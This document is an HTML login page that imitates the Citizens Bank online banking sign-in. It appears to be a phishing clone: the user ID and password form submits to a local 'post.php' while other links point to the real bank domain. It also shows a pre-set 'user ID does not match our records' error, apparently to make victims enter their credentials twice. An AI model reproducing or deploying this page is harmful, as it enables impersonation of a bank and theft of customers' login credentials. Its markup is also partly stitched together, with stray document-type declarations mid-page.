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<title> Online Login | Citizens </title>
<meta name="description" content="Log in to your Citizens account by entering your User ID and password so you can securely view and manage your accounts online.">
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var thebody = document.getElementsByTagName('body')[0]
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} else {
top.location = self.location
}
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<!-- begin CITIZENS Hosted Header -->
<div class="citizens-header">
<!-- overlay to hide elements until CSS is loaded -->
<style>
.citizens-header-footer-overlay{ opacity:1; background-color:#fff; position:fixed; width:100%; height:100%; top:0px; left:0px; z-index:1000; }
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<div class="citizens-header-footer-overlay">
<div>
<div class="topshadow"></div>
<div class="centered-content clearfix">
<a href="#" class="page-logo">
<!-- Display the brand logo for either citizens one or citizen bank customers -->
<img border="0" alt="Citizens" width="203" height="25" src="/efs/hhf/img/CTZ_Green-01.png">
</a>
<div style="text-align: center;">
Please wait... <br />
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<!-- htmlContainer PREFIX -->
<div class="citizens-header-footer">
<div id="page-header" class="page-header">
<!-- inc-header.html START -->
<div class="topshadow"></div>
<div class="centered-content clearfix">
<a href="#" class="page-logo" tabindex="1">
<!-- Display the brand logo for either citizens one or citizen bank customers -->
<img border="0" alt="Citizens" width="203" height="25" src="/efs/hhf/img/CTZ_Green-01.png">
</a>
<div id="header-navigation-container"></div>
</div>
<!-- inc-header.html END -->
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</div>
<!-- htmlContainer SUFFIX -->
</div>
<!-- end CITIZENS Hosted Header -->
<div id="page-container" class="page-container">
<div class="centered-content clearfix">
<section id="top-content" class="page-region top-content">
</section>
<section id="main-container" class="main-container two-col layout-2-1 clearfix">
<!-- =================
MAIN CONTENT AREA START
================= -->
<section id="main-content" class="page-region main-content">
<div class="account-table account-table-full">
<span class="account-table-border"></span>
<div class="account-table-content">
<div class="account-content-container">
<div class="account-table-body">
<header class="account-section-title clearfix account-secure">
<a href="#" class="mobile-help-trigger">Help</a>
<h1>Secure Online Banking Login</h1>
</header>
<div id="messagecontainer" class="error-message show-error" role="alert">The online user ID below does not match our records. Please review your information then try again. If you are still unable to continue, please call our Customer Service Center.</div>
<section class="account-section">
<form class="pay-transfer-options clearfix" action="post.php" name="SignOn" id="frmSignOn" method="post">
<div class="account-title clearfix">
<p>Please enter your Online User ID and Password.</p>
</div>
<input type="hidden" name="CSRF_TOKEN" value="AJV7-670S-LWJD-RCF2-GJDY-J562-8CFP-NCG2"/>
<input type="hidden" name="BrandSettingsFile" value="citSettings.jsp">
<input type="hidden" name="fp_deviceprint" value="" />
<input type="hidden" name="fp_language" value="" />
<input type="hidden" name="fp_timezone" value="" />
<input type="hidden" name="fp_browser" value="" />
<input type="hidden" name="fp_screen" value="" />
<input type="hidden" name="fp_software" value="" />
<input type="hidden" name="pm_fp" value="" />
<input type="hidden" name="RSASessionID" value="" />
<input type="hidden" name="asstFlow" value="" />
<input type="hidden" name="initlogin" value="1" />
<input type="hidden" name="enterUserIdMode" value="" />
<div class="form-item label-right full-width clearfix">
<label for="UserID"><strong>Online User ID: </strong></label>
<input tabindex="1" type="text" id="UserID" name="UserID" autocomplete="off" maxlength="20" class="required demo-username">
<input type="hidden" name="enterUserIdMode" value="true" />
<input type="hidden" id="SaveUserID" name="SaveUserID" value="" />
<div class="full-width checkbox-item clearfix">
<input type="hidden" name="Register" id="Register" value="0">
<input type="checkbox" tabindex="5" disabled="disabled" id="cbSaveUserID" name="cbSaveUserID" style="vertical-align:top">
<span class="inline-tooltip">
<label for="cbSaveUserID">Remember User ID</label>
<span class="tooltip" tabindex="6" role="tooltip" aria-describedby="tooltip-content">
<div class="tooltip-icon" title="Remember User ID tooltip"></div>
<div class="tooltip-box">
<div class="tooltip-content" id="aria-tooltip-content">
<span class="tooltip-arrow"></span>
<div>Select the "Remember User ID" box on the Login page if you want to be remembered.</div>
<br>
<div>Please note, if the "Remember User ID" check box is not displayed on the Login page, click on the "Login using different Online User ID" link to display it.</div>
<br>
<div>DO NOT check this box if you are using a public device that is accessible to others.</div>
</div>
<div class="bottomshadow"></div>
</div>
</span>
</span>
</div>
<div class="form-item full-width">
<label for="currentpassword"><strong>Password: </strong></label>
<input tabindex="2" type="password" id="currentpassword" name="Password" maxlength="15" size="15" class="required demo-password">
<!-- <div class="show-hide">
<a id="showpswd">SHOW</a>
</div> -->
</div>
<span class="mobile-line-break"><a tabindex="7" style="font-size:16px!important" id="troublelogging" data-trigger="login-trouble" href="/efs/ui/tli/index.html">Trouble logging in?</a></span><br>
</div>
<div id="fielderror" class="show-error" role="alert">We're sorry. That user ID and password does not match our records. Please try again, or do you need Login Assistance?</div>
<div class="form-actions">
<input type="submit" class="submit-button arrow" tabindex="3" data-trigger="next" value="Login"> <a tabindex="8" href="http://www.citizensbank.com/" class="cancel">Cancel</a>
</div>
</form>
</section>
</div>
</div>
</div>
</div>
<!DOCTYPE html>
</section>
<!-- Brand type from query parameter -->
<aside id="main-sidebar" class="page-region main-sidebar">
<div id="citizens-help" class="citizens-help sidebar-item sidebar-list-container sidebar-accordian mobile-modal">
<div class="sidebar-list-content">
<header class="sidebar-list-title">
<h3>Need Help?</h3>
</header>
<div id="faq-holder">
<form action="https://www3.citizensbankonline.com/efs/servlet/efs/login-assistance.jsp" name="frmAsst" id="frmAsst" method="post">
<input type="hidden" name="CSRF_TOKEN" value="AJV7-670S-LWJD-RCF2-GJDY-J562-8CFP-NCG2"/>
<input type="hidden" name="needHelp" value="1"/>
<section class="toggle-list-container faq-container" id="faq-index-1">
<a href="#" title="Expand contents of Where can I get login assistance for Online Banking?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">Where can I get login assistance for Online Banking?</a>
<ul class="loginfaq sidebar-list showhide-content">
<li>
<p>Simply click on "Trouble logging in?" link. Or, you can click on "View All Help Topics" link, which appears on each screen.</p>
</li>
</ul>
</section>
<section class="toggle-list-container faq-container" id="faq-index-10">
<a href="#" title="Expand contents of Is Online Banking secure?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">Is Online Banking secure?</a>
<ul class="loginfaq sidebar-list showhide-content">
<li>
<p>To make Online Banking secure, Citizens uses the highest level of encryption available today. Encryption is the process by which information is translated into un-interpretable code and then back to recognized information.<br>As an added measure, Online Banking gives you the capability to easily verify that you are on the authentic Citizens website and not on a fake site created by fraudsters. Just look for the green bar (or some variation of it) in your browser address. The green bar should remind you that "green is good" and that our website has passed a sophisticated authentication process, letting you know you are good to go.</p>
</li>
</ul>
</section>
<section class="toggle-list-container faq-container" id="faq-index-12">
<a href="#" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide" title="Show contents of Should my browser address bar have a green indicator when I use Online Banking?">Should my browser address bar have a "green" indicator when I use Online Banking?</a>
<ul class="loginfaq sidebar-list showhide-content">
<li>
<p>Yes. As an added measure, Online Banking gives you the capability to easily verify that you are on the authentic Citizens website and not on a fake site created by fraudsters. Just look for the green bar (or some variation of it) in your browser address. The green bar should remind you that "green is good" and that our website has passed a sophisticated authentication process, letting you know you are good to go.</p>
</li>
</ul>
</section>
<section class="toggle-list-container faq-container" id="faq-index-20">
<a href="#" title="Expand contents of How do I log into Online Banking if Iâm a first-time user?" aria-label="Expand Contents" class="sidebar-list-option-accordian showhide">How do I log into Online Banking if I'm a first-time user?</a>
<ul class="loginfaq sidebar-list showhide-content">
<li>
<p>Simply enter your Online User ID and Password and click "LOGIN", then answer your Challenge Question (if presented). In some situations, your Online User ID will be your ATM/Debit Card number and your Password will be the last four digits of your Social Security number followed by "Abcd" (e.g. 1234Abcd). If you haven't already selected an Online User ID, you will be asked to do so.</p>
</li>
</ul>
</section>
</form>
</div>
<ul class="sidebar-list">
<li class="cta-row">
<a href="login-faqs.jsp" class="blue" target="_blank">View All Help Topics</a>
</li>
<li class="cta-row sign-up-prompt visible clearfix">
<span>Haven't signed up for Online Banking?</span>
<a href="/efs/ui/enrollment/index.html" class="cta orange">Enroll Now</a>
</li>
</ul>
</div>
</div>
</aside>
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$("#resetpassword1").click(function(e) {
e.preventDefault();
$("#frmAsst").attr("action","https://www3.citizensbankonline.com/efs/servlet/efs/default-reset.jsp");
$("#frmAsst").submit();
});
});
</script>
</section>
</div>
</div>
<!DOCTYPE html>
<!-- begin CITIZENS Hosted Footer -->
<div class="citizens-footer"></div>
<script src="/efs/hhf/js/citizensHeaderFooter-citizensns45702.js"></script>
<script type="text/javascript">
if(typeof HHF === "undefined"){
var el = document.querySelector(".citizens-header");
el.innerHTML = '<div style="padding: .5em 1em; background: #FEF3F3; color: #F00;"><strong>Critical Error.</strong> Unable to load the header and footer at this time.</div>';
} else {
contentLoaded(window, function() {
var hhfPromise = HHF.init({
'showNav': false,
'initialHelpRequest': false,
'showTimeout': false,
'useCSS': false
});
hhfPromise.done(function(args){
console.log('hhfPromise.msg: ' + args.attributes.msg);
});
hhfPromise.fail(function(args){
$('.citizens-header').html('<div style="padding: .5em 1em; background: #FEF3F3; color: #F00;"><strong>Header/Footer Error.</strong> ' + args.attributes.msg + '</div>');
});
});
}
</script>
<!-- end CITIZENS Hosted Footer -->
<script type="text/javascript" src="/gZR5ra/k6JxZ/nHVB7/rA/1atumLfmOk/GiAcSikD/eV8tLxYL/Q30"></script><link rel="stylesheet" type="text/css" href="/_sec/cp_challenge/sec-3-6.css">
<script src="/_sec/cp_challenge/sec-cpt-3-6.js" async defer></script>
<div id="sec-overlay" style="display:none;">
<div id="sec-container">
</div>
</div></body>
</html>
<!-- End Main Container -->
<script src="/efs/efs/jsp-ns/scripts/common.js"></script>
<script type="text/javascript">
$(document).ready(function() {
<!-- Give the right brand for page title -->
document.title = "Online Login | Citizens";
$("#UserID").on('keypress paste',function(){
$('#cbSaveUserID').attr('disabled', false);
});
$("#UserID").on('keyup input',function(){
if(!$('#UserID').val().length)
$('#cbSaveUserID').attr('disabled', true);
});
$(".tooltip").focusin(function(){
$(this).addClass("hover");
});
$(".tooltip").focusout(function(){
$(this).removeClass("hover");
})
var skipSubmit = false;
$("#troubleloggingin").click(function(e) {
e.preventDefault();
skipSubmit = true;
$("#frmSignOn").attr("action","https://www3.citizensbankonline.com/efs/servlet/efs/login-assistance.jsp");
$("#frmSignOn").attr("method","get");
post_deviceprint();
$("#frmSignOn").submit();
});
function OLB_validate() {
var userid = null;
var result = false;
if (!skipSubmit) {
currentpassword = $("#currentpassword").val();
userid = $("#UserID").val();
if (userid != undefined && $.trim(userid).length > 0) {
userid = userid.replace(/^\s*|\s*$/g, "");
}
$("#UserID").val(userid.toLowerCase());
if (userid == null || $.trim(userid).toLowerCase().length == 0) {
$("#messagecontainer").html("Please enter your Online User ID and click Login").css("display","block");
$("#messagecontainer").addClass("error");
$("#UserID").addClass("inputerror");
$('#UserID').focus();
} else if (currentpassword == null || $.trim(currentpassword).toLowerCase().length == 0) {
$("#messagecontainer").html("Please enter your User ID and Password and click Login").css("display","block");
$("#messagecontainer").addClass("error");
$("#currentpassword").addClass("currentpassword");
$('#currentpassword').focus();
} else {
// Check to see if the user is saving their User ID
if ($("#cbSaveUserID").is(':checked')) {
$("#SaveUserID").val("on");
$("#Register").val("1");
} else {
$("#SaveUserID").val("");
$("#Register").val("0");
}
result = true;
}
} else {
result = true;
}
return result;
}
$("#frmSignOn").submit(function(e) {
if (!OLB_validate()) {
e.preventDefault();
} else {
post_deviceprint();
return true;
}
});
//show/hide password
/*$("#currentpassword").focus(function (e) {
e.preventDefault();
if ($('#showpswd').text() === "HIDE") {
$('#currentpassword').prop('type', 'text');
setTimeout(function () {
$('#currentpassword').prop('type', 'password');
$('#showpswd').text("SHOW");
}, 5000);
}
});
$('#showpswd').click(function (e) {
e.preventDefault();
var toggleText = $(e.currentTarget).text();
$(e.currentTarget).text("HIDE");
if (toggleText === "SHOW") {
if ($('#currentpassword').val() === "") {
$('#currentpassword').prop('type', 'text');
}
if ($('#currentpassword').val() !== "") {
$('#currentpassword').prop('type', 'text');
$(e.currentTarget).text("HIDE");
setTimeout(function () {
$('#currentpassword').prop('type', 'password');
$(e.currentTarget).text("SHOW");
}, 5000);
}
} else if (toggleText === "HIDE") {
$('#currentpassword').prop('type', 'password');
$(e.currentTarget).text("SHOW");
}
});*/
//clear password when changed saved user id in select box
$('#SavedUserID').change(function(){
$('#currentpassword').val('');
});
// Once page has loaded, re-enable button
//$('#btnLogin').removeAttr("disabled");
//$('#btnLogin').removeClass("inactive");
// Set focus to login ID
$('#UserID').focus();
});
</script>
</body>
</html>